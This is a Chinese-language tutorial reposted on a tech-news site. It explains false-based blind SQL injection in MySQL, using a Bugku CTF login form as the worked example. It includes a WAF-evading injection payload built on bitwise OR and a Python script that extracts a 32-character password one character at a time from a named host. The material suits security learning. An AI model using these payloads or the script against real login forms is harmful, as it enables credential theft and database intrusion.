您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關False盲注基礎原理是什么,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
false盲注有些時候可以繞過一些WAF,也是容易被忽視的細節。小編的目的在于通過做CTF的同時來學習注入原理,同時也運用到自身的能力。這里只是簡單說一些我自己的理解,也許網上有更好的思路和見解,都是值得學習的。
MYSQL的隱式類型轉換,當字符串和數字比較時,會把字符串轉為浮點數,而字符串轉換時會產生一個warning,轉換的結果為0,但如果字符串開頭是數字話還是會從數字部分截斷,轉換為數字
舉例地址為:
http://118.89.219.210:49167/index.php(Bugku)
填入username和password之后,Burp抓包,send to repeater分析一下
發現過濾了挺多的,空格,%0a,/**/,and,union等等
但是 |(位或)&(位與)^(位異或)沒有過濾掉
這里的話應該來說都可以用,我試了一下|(位或)和 ^(位異或),這兩個都是可以的
構造一個payload語句為:
username=admin’|(ascii(mid((password)from(1)))>53)#&password=sd
函數介紹:
MID(column_name,start[,length]) 因為過濾掉空格的原因,才用上述格式
ASCII() 返回字符表達式最左端字符的ASCII 碼值
當第一字母的ascii碼值為53的時候,右邊的表示式則為false,與‘admin’ 或, 相當與 0 | 0 結果為0,當username=0時,返回查詢字段的所有數據,(只要username沒有以數字開頭的)這里注意 按位或的優先級高于=,所以是先按位或再賦值給username。
當然了,想構造為0的話不止只有位運算符,還有+號(‘ ’+‘ ’=0), -號(' '-' '=0), *號(' '*' '=0), /號(' '/1=0), %取余(' '%1=0)等等
可以先判斷一下字段長度:
根據頁面信息判斷為32位
原理都講得差不多了
可以自己手注,但似乎太麻煩了
下面可以寫一個Python腳本跑出來
import requests url = "http://118.89.219.210:49167/index.php" r = requests.Session() result='' for i in range(1,33): for j in range(37,127): payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j)) data={"username":payload,"password":"psdvs"} print payload html=r.post(url,data=data) if "password error" in html.content: result+=chr(j) print result break print result
結果為:
上述就是小編為大家分享的False盲注基礎原理是什么了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。